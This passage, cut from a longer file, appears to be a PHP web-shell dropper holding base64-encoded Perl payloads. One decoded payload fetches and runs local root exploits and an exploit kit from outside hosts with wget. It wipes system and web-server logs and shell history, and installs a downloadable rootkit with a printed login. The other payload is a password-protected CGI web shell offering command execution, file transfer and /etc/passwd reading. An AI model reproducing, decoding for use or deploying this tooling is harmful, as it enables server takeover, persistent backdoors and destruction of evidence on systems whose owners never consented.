sgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtNTMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTUzIik7IApzeXN0ZW0oIi4vMi42LjE4LTUzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMi42LjE4LTUzIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMCIpOyAKc3lzdGVtKCIuLzIuNi4xOC01MyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogICB9CmlmICgkQVJHVlswXSA9fiAiLWMiICkgCiAgICAgICAgICB7CnN5c3RlbSAid2dldCBodHRwOi8vcmJodC5wcC5ydS9maWxlcy9lbmxpZ2h0ZW5tZW50LnRneiI7CnNsZWVwKDIpOyAKc3lzdGVtICJ0YXIgeHpmIGVubGlnaHRlbm1lbnQudGd6IjsKc2xlZXAoMik7IApzeXN0ZW0gImNkIGVubGlnaHRlbm1lbnQiOwpzeXN0ZW0gInNlZCAtaSAnL3R1cm5fXChvblx8b2ZmXClfd3AoKTsvZCcgZXhwbG9pdC5jIjsKc2xlZXAoMik7IApzeXN0ZW0gIi4vcnVuX251bGxfZXhwbG9pdHMuc2giOwpzbGVlcCgyKTsgCnN5c3RlbSAiaWQiOwpzeXN0ZW0gImlkIjsgCnN5c3RlbSAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgCmlmICgkQVJHVlswXSA9fiAiLXJtIiApIAogICAgICAgICAgewpwcmludCAicm0gLXJmIExvZyBbIHJtIF0gXG4iOwpzeXN0ZW0gInJtIC1yZiAvdG1wL2xvZ3MiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5IjsKc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfbG9nb3V0IjsKc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7CnNsZWVwKDIpOwpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOwpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzIjsKc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIjsKc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9ncyI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9nIjsKc2xlZXAoMik7CnN5c3RlbSAicm0gLXJmIC92YXIvYWRtIjsKc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsKc3lzdGVtICJybSAtcmYgL2V0Yy91dG1wIjsKc3lzdGVtICJjZCAvYmluIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwogICAgIH0KaWYgKCRBUkdWWzBdID1+ICItdjQiICkgCiAgICAgICAgICB7CnByaW50ICJBZGQgdjQtdGVhbSBSb290a2l0IFsgdjQgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vdjR0ZWFtLXJvb3RraXQudGFyLmd6IjsKc3lzdGVtICJ0YXIgLXh2dnpmIHY0dGVhbS1yb290a2l0LnRhci5neiI7CnN5c3RlbSAiY2Qgcm9vdGtpdDsuL2luc3RhbGwiOwpwcmludCAidXNlciA6IHdvN29zaHY0dGVhbSAsICBwYXNzIDogdjR0ZWFtaGFja2VyIFxuIjsKc3lzdGVtICJpZCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKICAgICB9CgkgCgkgCmlmICgkQVJHVlswXSA9fiAiLWhlIiApIAogICAgICAgICAgewpwcmludCBxICgKCnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAoKKTsKCiAgICAgfQoK');
$write = fwrite ($file ,$sa);

$file = fopen($dir."dz.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCiROVENtZFNlcCA9ICImIjsKJFVuaXhDbWRTZXAgPSAiOyI7CiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMzAwOwokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwokcGFzc3dvcmQgPSAiZHoiOwokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBmb28KICAgIHsKICAgICAgICBteSAoICRsb2dpbiwgJHAsICR1aWQsICRnaWQsICRnZWNvcywgJGRpciwgJHMgKTsKICAgICAKICAgICAgICBteSAlSG9IID0gKCk7CiAgICAgCiAgICAgICAgbXkgJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOwogICAgICAgIG9wZW4oIFBBU1NXRCwgIjwgJGZpbGUiICkgb3IgZGllICJDYW4ndCBvcGVuICRmaWxlIDogJCEiOwogICAgIAogICAgICAgIHdoaWxlKCA8UEFTU1dEPiApIHsKICAgICAgICAgICAgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICkgPSBzcGxpdCggJzonICk7CiAgICAgCiAgICAgICAgICAgICRIb0h7ICRsb2dpbiB9eyAndWlkJyB9ID0gJHVpZDsKICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdnaWQnIH0gPSAkZ2lkOwogICAgICAgICAgICAkSG9IeyAkbG9naW4gfXsgJ2RpcicgfSA9ICRkaXI7CiAgICAgICAgfQogICAgIAogICAgICAgIGNsb3NlIFBBU1NXRDsKICAgICAKICAgICAgICByZXR1cm4gXCVIb0g7CiAgICB9CnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+S0lEIC0gRHIuSkVlTlRlTCBTaGVMTDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSdjb2xvcjogIzAwMDAwMDtiYWNrZ3JvdW5kOnVybChodHRwOi8vZHo0YWxsLmNvbS9jYy9pbWFnZXMvYWxtamF6Zi1zYS9uYXYvbmF2XzE4LmdpZikgcmVwZWF0IHNjcm9sbCBjZW50ZXIgdG9wO2JhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7U0NST0xMQkFSLUZBQ0UtQ09MT1I6ICNGMUYxRjE7IE1BUkdJTjogMHB4O1NDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICNmZmZmZmY7IE9WRVJGTE9XOiBhdXRvOyc+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjMDBmZjAwIj48cCBhbGlnbj0iY2VudGVyIj5zPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+CjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjMiIGNvbG9yPSIjRkYwMDAwIj5LSUQtU2hlbGwgLSBTZXJ2ZXI6OiAgPGZvbnQgY29sb3I9IiMwMEZGMDAiPiRTZXJ2ZXJOYW1lPC9mb250PjwvZm9udD4KPC90cj4KPHRyPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiMwMGZmMDAiPgogICAgICAtLSBFbnRlciBQYXNzd29yZCAtLQo8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKJE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+UGFzc3dvcmQgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRwYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+Cjxmb250IGNvbG9yPSIjMDBGRjAwIj4kUHJvbXB0PC9mb250PiAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiIHNpemU9IjI1Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CiAgICAgICAgICAgCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6ICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW